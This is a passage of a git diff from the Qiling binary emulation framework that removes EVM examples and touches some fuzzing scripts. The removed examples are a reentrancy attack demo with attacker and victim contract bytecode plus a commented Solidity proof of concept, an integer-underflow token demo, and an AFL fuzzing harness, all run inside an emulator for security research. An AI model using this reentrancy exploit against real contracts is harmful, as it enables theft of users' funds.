ffffffff1663e2c41dbc670de0b6b3a76400006040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561026e57600080fd5b505af1158015610282573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663155dd5ee670de0b6b3a76400006040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561031f57600080fd5b505af1158015610333573d6000803e3d6000fd5b50505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501580156103bb573d6000803e3d6000fd5b505600a165627a7a723058204ad3139b1085c12112b76e9eab70c6589942d6e84eb3d8329a644eca757c19d00029'
- Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029'
-
- ql = Qiling(code=Attack_contract, archtype=QL_ARCH.EVM)
- vm:BaseVM = ql.arch.evm.vm
-
- C1 = b'\xaa' * 20
- C2 = b'\xbb' * 20
- User1 = b'\xcc' * 20
- User2 = b'\xde\xad\xbe\xef' * 5
-
- ql.arch.evm.create_account(C1)
- ql.arch.evm.create_account(C2)
- ql.arch.evm.create_account(User1, 100*10**18)
- ql.arch.evm.create_account(User2, 100*10**18)
-
- EtherStore_contract = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029'
-
- print('Init Victim balance is', vm.state.get_balance(User1)/10**18)
- print('Init Attacker balance is', vm.state.get_balance(User2)/10**18)
-
- code1 = bytecode_to_bytes(EtherStore_contract)
- print('\n------ Deploy DeFi contract')
- # 1. deploy EtherStore
- msg1 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User1, 0, b'', code1, contract_address=C1)
- res = vm.execute_message(msg1)
-
- res_code = bytecode_to_bytes(res.output)
- runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
- rt_code = bytecode_to_bytes(runtime_code)
- print('Victim balance: ', vm.state.get_balance(User1)/10**18)
-
- print('\n------ Victim deposit Funds 20ETH to DeFi contract')
- # 2. User1 depositFunds 20ETH to bank
- call_data = '0xe2c41dbc'
- msg2 = vm.build_message(None, 1, 3000000, C1, User1, 20*10**18, bytecode_to_bytes(call_data), rt_code)
- res = vm.execute_message(msg2)
- # print(res.output)
- print('Victim balance: ', vm.state.get_balance(User1)/10**18)
-
- code2 = bytecode_to_bytes(Attack_contract+ql.arch.evm.abi.convert(['address'], [C1]))
- # print(code2.hex())
- print('\n------ Deploy Attack Contract')
-
- # 3. deploy Attack
- # ql.debugger = True
- msg3 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User2, 0, b'', code2, contract_address=C2)
- res = vm.execute_message(msg3)
- # ql.debugger = False
-
- res_code = bytecode_to_bytes(res.output)
- runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
- rt_code1 = bytecode_to_bytes(runtime_code)
-
- print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack')
- # 4. User2 pwnEtherStore with 1ETH
- call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0xe2c41dbc')]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes('0x155dd5ee')])
- # ql.debugger = True
- msg4 = vm.build_message(None, 1, 3000000, C2, User2, 1*10**18, bytecode_to_bytes(call_data), rt_code1)
- res = vm.execute_message(msg4)
- # ql.debugger = False
- print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
-
- print('\n------ Attacker steal Ether from DeFi contract')
- # 5. User2 collectEther
- call_data = '0xff11e1db'
- msg5 = vm.build_message(None, 1, 3000000, C2, User2, 0, bytecode_to_bytes(call_data), rt_code1)
- res = vm.execute_message(msg5)
- print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
diff --git a/examples/evm/evm_reentrancy_vol.py b/examples/evm/evm_reentrancy_vol.py
deleted file mode 100644
index 965922a7c..000000000
--- a/examples/evm/evm_reentrancy_vol.py
+++ /dev/null
@@ -1,134 +0,0 @@
-#!/usr/bin/env python3
-#
-# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
-#
-
-import sys
-sys.path.append("../..")
-
-from qiling import Qiling
-from qiling.arch.evm.vm.utils import bytecode_to_bytes, runtime_code_detector
-from qiling.arch.evm.vm.vm import BaseVM
-from qiling.arch.evm.constants import CREATE_CONTRACT_ADDRESS
-from qiling.const import QL_ARCH
-
-
-def template(vic_contract, deposit, withdraw):
- Attack_contract = '0x608060405234801561001057600080fd5b506040516020806104b883398101806040528101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050610435806100836000396000f30060806040526004361061004c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063a75e462514610179578063ff11e1db146101e1575b670de0b6b3a76400006000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16311115610177576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600060149054906101000a90047c0100000000000000000000000000000000000000000000000000000000027c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505b005b6101df60048036038101908080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916906020019092919080357bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191690602001909291905050506101f8565b005b3480156101ed57600080fd5b506101f66103a9565b005b80600060146101000a81548163ffffffff02191690837c010000000000000000000000000000000000000000000000000000000090040217905550670de0b6b3a7640000341015151561024a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000837c01000000000000000000000000000000000000000000000000000000009004906040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160006040518083038185885af19350505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16817c01000000000000000000000000000000000000000000000000000000009004670de0b6b3a76400006040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808267ffffffffffffffff1681526020019150506000604051808303816000875af192505050505050565b3373ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610406573d6000803e3d6000fd5b505600a165627a7a723058205aacb19a5864d2c460aed6c844f2aca575d87de6477ac757a72511bb2975b3f80029'
-
- ql = Qiling(code=Attack_contract, archtype=QL_ARCH.EVM)
- vm:BaseVM = ql.arch.evm.vm
-
- C1 = b'\xaa' * 20
- C2 = b'\xbb' * 20
- User1 = b'\xcc' * 20
- User2 = b'\xde\xad\xbe\xef' * 5
-
- ql.arch.evm.create_account(C1)
- ql.arch.evm.create_account(C2)
- ql.arch.evm.create_account(User1, 100*10**18)
- ql.arch.evm.create_account(User2, 100*10**18)
-
- EtherStore_contract = vic_contract
-
-
- print('Init Victim balance is', vm.state.get_balance(User1)/10**18)
- print('Init Attacker balance is', vm.state.get_balance(User2)/10**18)
-
- code1 = bytecode_to_bytes(EtherStore_contract)
- print('\n------ Deploy DeFi contract')
- # 1. deploy EtherStore
- msg1 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User1, 0, b'', code1, contract_address=C1)
- res = vm.execute_message(msg1)
-
- res_code = bytecode_to_bytes(res.output)
- runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
- rt_code = bytecode_to_bytes(runtime_code)
- print('Victim balance: ', vm.state.get_balance(User1)/10**18)
-
- print('\n------ Victim deposit Funds 20ETH to DeFi contract')
- # 2. User1 depositFunds 20ETH to bank
- call_data = deposit
- msg2 = vm.build_message(None, 1, 3000000, C1, User1, 20*10**18, bytecode_to_bytes(call_data), rt_code)
- res = vm.execute_message(msg2)
- # print(res.output)
- print('Victim balance: ', vm.state.get_balance(User1)/10**18)
-
- code2 = bytecode_to_bytes(Attack_contract+ql.arch.evm.abi.convert(['address'], [C1]))
- # print(code2.hex())
- print('\n------ Deploy Attack Contract')
-
- # 3. deploy Attack
- # ql.debugger = True
- msg3 = vm.build_message(None, 1, 3000000, CREATE_CONTRACT_ADDRESS, User2, 0, b'', code2, contract_address=C2)
- res = vm.execute_message(msg3)
- # ql.debugger = False
-
- res_code = bytecode_to_bytes(res.output)
- runtime_code, aux_data, constructor_args = runtime_code_detector(res_code)
- rt_code1 = bytecode_to_bytes(runtime_code)
-
- print('\n------ Attacker deposit 1 ETH to DeFi contract, Start Reentrancy Attack')
- # 4. User2 pwnEtherStore with 1ETH
- call_data = '0xa75e4625' + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(deposit)]) + ql.arch.evm.abi.convert(['bytes4'], [bytecode_to_bytes(withdraw)])
-
- msg4 = vm.build_message(None, 1, 3000000, C2, User2, 1*10**18, bytecode_to_bytes(call_data), rt_code1)
- res = vm.execute_message(msg4)
- # print(res.output)
- print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
-
- print('\n------ Attacker steal Ether from DeFi contract')
- # 5. User2 collectEther
- call_data = '0xff11e1db'
- msg5 = vm.build_message(None, 1, 3000000, C2, User2, 0, bytecode_to_bytes(call_data), rt_code1)
- res = vm.execute_message(msg5)
- print('Attacker balance: ', vm.state.get_balance(User2)/10**18)
-
-
-if __name__ == '__main__':
- contract_1 = '0x6080604052670de0b6b3a764000060005534801561001c57600080fd5b506103b08061002c6000396000f30060806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631031ec3114610072578063155dd5ee146100c957806327e235e3146100f65780637ddfe78d1461014d578063e2c41dbc14610178575b600080fd5b34801561007e57600080fd5b506100b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610182565b6040518082815260200191505060405180910390f35b3480156100d557600080fd5b506100f46004803603810190808035906020019092919050505061019a565b005b34801561010257600080fd5b50610137600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610317565b6040518082815260200191505060405180910390f35b34801561015957600080fd5b5061016261032f565b6040518082815260200191505060405180910390f35b610180610335565b005b60016020528060005260406000206000915090505481565b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156101e857600080fd5b60005481111515156101f957600080fd5b62093a80600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401421015151561024c57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561028357600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555042600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60026020528060005260406000206000915090505481565b60005481565b34600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a72305820707bf0ae11ce52ff7b7846ede3497d41b6fadea29579773fc70e8e61c0f549f10029'
- c1_deposit = '0xe2c41dbc'
- c1_withdraw = '0x155dd5ee'
-
- contract_2 = '0x608060405234801561001057600080fd5b5033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506106dc806100616000396000f300608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630c08bf881461014d578063590e1ae314610164578063a9059cbb1461017b578063e42c08f2146101c8575b600080339150349050600060648281151561007957fe5b0614151561008657600080fd5b60648181151561009257fe5b046000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fc848a0bc6fc10f63d456eae535b952f8768bfd21d409b4933f8032cce0432ea48183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050005b34801561015957600080fd5b5061016261021f565b005b34801561017057600080fd5b50610179610312565b005b34801561018757600080fd5b506101c6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610434565b005b3480156101d457600080fd5b50610209600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610658565b6040518082815260200191505060405180910390f35b600034111561022d57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561028957600080fd5b7fedf2f7451a6c99c99b58baaddbe18df51bec156fe6ae8dd3ea730168326f94cd3073ffffffffffffffffffffffffffffffffffffffff16316040518082815260200191505060405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b600080600034111561032357600080fd5b3391506000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081141561037557600080fd5b61038160648202610670565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f658eefd1c566207ffd3fb44f4d9b1e443698a39f8a6f7b134b3fef529e3f3f028183604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a15050565b60008034111561044357600080fd5b339050816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561049157600080fd5b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401101561051c57600080fd5b816000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055507fa25be434081445744d5b297a785f7b7073142ae4bcd91a0e7aa802f802b4e0c7828285604051808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001935050505060405180910390a1505050565b60006020528060005260406000206000915090505481565b60003373ffffffffffffffffffffffffffffffffffffffff168260405160006040518083038185875af19250505090508015156106ac57600080fd5b50505600a165627a7a72305820e5031f476480cd5d80ec7b267c7bf4c672137328294cb6b71bbb631ce9b99fc20029'
- c2_deposit = ''
- c2_withdraw = '0x590e1ae3'
-
- template(contract_1, c1_deposit, c1_withdraw)
- print('\n\n\n**************************\n\n\n')
- template(contract_2, c2_deposit, c2_withdraw)
-
-
-### genernal reentrancy poc ###
-
-# contract Attack {
-# address victim;
-# bytes4 withdraw_id;
-#
-# constructor(address addr) {
-# victim = addr;
-# }
-#
-# function pwn(bytes4 deposit, bytes4 withdraw) public payable {
-# withdraw_id = withdraw;
-# // attack to the nearest ether
-# require(msg.value >= 1 ether);
-# // send eth to the depositFunds() function
-# victim.call.value(1 ether)(deposit);
-# victim.call(withdraw, 1 ether);
-#
-# //etherStore.depositFunds.value(1 ether)();
-# // start the magic
-# //etherStore.withdrawFunds(1 ether);
-# }
-#
-# function collectEther() public {
-# msg.sender.transfer(this.balance);
-# }
-#
-# function () payable {
-# if (victim.balance > 1 ether) {
-# victim.call(withdraw_id,1 ether);
-# }
-# }
-# }
diff --git a/examples/evm/evm_simple_sc.py b/examples/evm/evm_simple_sc.py
deleted file mode 100644
index 081e2be20..000000000
--- a/examples/evm/evm_simple_sc.py
+++ /dev/null
@@ -1,56 +0,0 @@
-#!/usr/bin/env python3
-#
-# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
-#
-
-import sys
-sys.path.append("../..")
-
-from qiling import Qiling
-from qiling.const import QL_ARCH
-
-
-def example_run_evm():
-
- contract = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029'
- ql = Qiling(code=contract, archtype=QL_ARCH.EVM)
-
- # Add Balance Var to the contract
- bal = ql.arch.evm.abi.convert(['uint256'], [20])
- contract = contract + bal
-
- user1 = ql.arch.evm.create_account(balance=100*10**18)
- user2 = ql.arch.evm.create_account(balance=100*10**18)
- c1 = ql.arch.evm.create_account()
-
- def check_balance(sender, destination):
- call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender])
- msg2 = ql.arch.evm.create_message(sender, destination, call_data)
- return ql.run(code=msg2)
-
- # Deploy runtime code
- msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
- ql.run(code=msg0)
-
- # SMART CONTRACT DEPENDENT: check balance of user1, should be 20
- result = check_balance(user1, c1)
- print('User1 balance =', int(result.output.hex()[2:], 16))
-
- # SMART CONTRACT DEPENDENT: transform 21 from user1 to user2
- call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \
- ql.arch.evm.abi.convert(['uint256'], [21])
- # print('Transfer Calldata Code: ' + call_data)
- msg1 = ql.arch.evm.create_message(user1, c1, call_data)
- result = ql.run(code=msg1)
- if int(result.output.hex()[2:], 16) == 1:
- print('User1 transfered 21 Token to User2')
-
- # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1
- result = check_balance(user1, c1)
- final_balance = int(result.output.hex()[2:], 16)
- print('User1 final balance =', final_balance)
- # print(' also =', hex(final_balance))
-
-
-if __name__ == "__main__":
- example_run_evm()
\ No newline at end of file
diff --git a/examples/evm/fuzzing/.gitignore b/examples/evm/fuzzing/.gitignore
deleted file mode 100644
index d2d0baa16..000000000
--- a/examples/evm/fuzzing/.gitignore
+++ /dev/null
@@ -1,3 +0,0 @@
-afl_outputs
-AFLplusplus
-rootfs
diff --git a/examples/evm/fuzzing/README.md b/examples/evm/fuzzing/README.md
deleted file mode 100644
index 324f9e788..000000000
--- a/examples/evm/fuzzing/README.md
+++ /dev/null
@@ -1,42 +0,0 @@
-# EVM Fuzz Usage
-
-python >= 3.8
-
-## Installation
-
-Install Qiling
-```bash
-git clone https://github.com/qilingframework/qiling_evm.git
-cd qiling_evm
-python3 -m pip install -e .
-```
-
-Install AFL
-```bash
-wget https://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz
-or
-download from https://lcamtuf.coredump.cx/afl/
-
-tar -zxvf afl-latest.tgz
-cd afl.2.5.2b
-make
-sudo make install
-```
-
-Install AFL python binding
-```
-pip install python-afl
-```
-
-## Run Fuzz
-```bash
-cd qiling/examples/fuzzing/evm
-./fuzz.sh
-```
-
-# TODO
-- qiling/engine/evm/logic/system.py
- - create
- - create2
-- qiling/engine/evm/logic/call.py
- - call
\ No newline at end of file
diff --git a/examples/evm/fuzzing/fuzz.py b/examples/evm/fuzzing/fuzz.py
deleted file mode 100644
index a69781044..000000000
--- a/examples/evm/fuzzing/fuzz.py
+++ /dev/null
@@ -1,18 +0,0 @@
-#!/usr/bin/env python3
-#
-# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
-#
-
-import afl, os, sys
-from underflow_test import underflow
-
-afl.init()
-
-sys.stdin.seek(0)
-in_str = sys.stdin.read().strip()
-
-if in_str.isdigit():
- fuzz_value = int(in_str)
- underflow(fuzz_value)
-
-os._exit(0)
\ No newline at end of file
diff --git a/examples/evm/fuzzing/fuzz.sh b/examples/evm/fuzzing/fuzz.sh
deleted file mode 100755
index 93fcdcdc5..000000000
--- a/examples/evm/fuzzing/fuzz.sh
+++ /dev/null
@@ -1 +0,0 @@
-py-afl-fuzz -n -m 400 -t 1000+ -i ./input -o ./results -- python3 fuzz.py
\ No newline at end of file
diff --git a/examples/evm/fuzzing/input/input0.txt b/examples/evm/fuzzing/input/input0.txt
deleted file mode 100644
index 304dabad2..000000000
--- a/examples/evm/fuzzing/input/input0.txt
+++ /dev/null
@@ -1,4 +0,0 @@
-2
-11
-22
-330
\ No newline at end of file
diff --git a/examples/evm/fuzzing/underflow_test.py b/examples/evm/fuzzing/underflow_test.py
deleted file mode 100644
index 6fec1af2c..000000000
--- a/examples/evm/fuzzing/underflow_test.py
+++ /dev/null
@@ -1,49 +0,0 @@
-#!/usr/bin/env python3
-#
-# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
-#
-
-import sys
-sys.path.append("../../../..")
-
-from qiling import Qiling
-from qiling.const import QL_ARCH
-
-
-def underflow(fuzz_balance):
- code = '0x6060604052341561000f57600080fd5b60405160208061031c833981016040528080519060200190919050508060018190556000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050610299806100836000396000f300606060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806318160ddd1461005c57806370a0823114610085578063a9059cbb146100d2575b600080fd5b341561006757600080fd5b61006f61012c565b6040518082815260200191505060405180910390f35b341561009057600080fd5b6100bc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610132565b6040518082815260200191505060405180910390f35b34156100dd57600080fd5b610112600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061017a565b604051808215151515815260200191505060405180910390f35b60015481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403101515156101cb57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060019050929150505600a165627a7a7230582098f1551a391a3e65b3ce45cfa2b3fa5f91eea9a3e7181a81454e025ea0d7151c0029'
-
- ql = Qiling(code=code, archtype=QL_ARCH.EVM)
-
- # Add Balance Var to the contract
- bal = ql.arch.evm.abi.convert(['uint256'], [20])
- contract = code + bal
-
- user1 = ql.arch.evm.create_account()
- user2 = ql.arch.evm.create_account()
- c1 = ql.arch.evm.create_account()
-
- def check_balance(sender, destination):
- call_data = '0x70a08231'+ql.arch.evm.abi.convert(['address'], [sender])
- msg2 = ql.arch.evm.create_message(sender, destination, call_data)
- return ql.run(code=msg2)
-
- # Deploy runtime code
- msg0 = ql.arch.evm.create_message(user1, b'', code=contract, contract_address=c1)
- ql.run(code=msg0)
-
- # SMART CONTRACT DEPENDENT: check balance of user1, should be 20
- result = check_balance(user1, c1)
-
- # SMART CONTRACT DEPENDENT: transform 21 from user1 to user2
- call_data = '0xa9059cbb'+ ql.arch.evm.abi.convert(['address'], [user2]) + \
- ql.arch.evm.abi.convert(['uint256'], [fuzz_balance])
- msg1 = ql.arch.evm.create_message(user1, c1, call_data)
- result = ql.run(code=msg1)
-
- # SMART CONTRACT DEPENDENT: User1 balance underflow, MAX - 1
- result = check_balance(user1, c1)
-
- if int(result.output_data.hex()[2:], 16) > 20:
- raise OverflowError()
-
diff --git a/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py b/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py
index 8505c8e03..28afce921 100644
--- a/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py
+++ b/examples/fuzzing/dlink_dir815/dir815_mips32el_linux.py
@@ -42,7 +42,7 @@ def start_afl(_ql: Qiling):
addr = ql.mem.search("HTTP_COOKIE=uid=1234&password=".encode())
ql.target_addr = addr[0]
- main_addr = ql.os.elf_entry
+ main_addr = ql.loader.elf_entry
ql.hook_address(callback=start_afl, address=main_addr)
try:
diff --git a/examples/fuzzing/linux_x8664/fuzz.sh b/examples/fuzzing/linux_x8664/fuzz.sh
index 49fe40e6e..4988fb289 100755
--- a/examples/fuzzing/linux_x8664/fuzz.sh
+++ b/examples/fuzzing/linux_x8664/fuzz.sh
@@ -1,11 +1,12 @@
#!/usr/bin/sh
set -e
-if [[ ! -d ./AFLplusplus ]]; then
- git clone https://github.com/AFLplusplus/AFLplusplus.git
- cd AFLplusplus
- make
- cd ./unicorn_mode
- ./build_unicorn_support.sh
- cd ../../
-fi
+
+# git clone https://github.com/AFLplusplus/AFLplusplus.git
+# cd AFLplusplus
+# make
+# cd ./unicorn_mode
+# ./build_unicorn_support.sh
+# cd ../../
+# fi
+
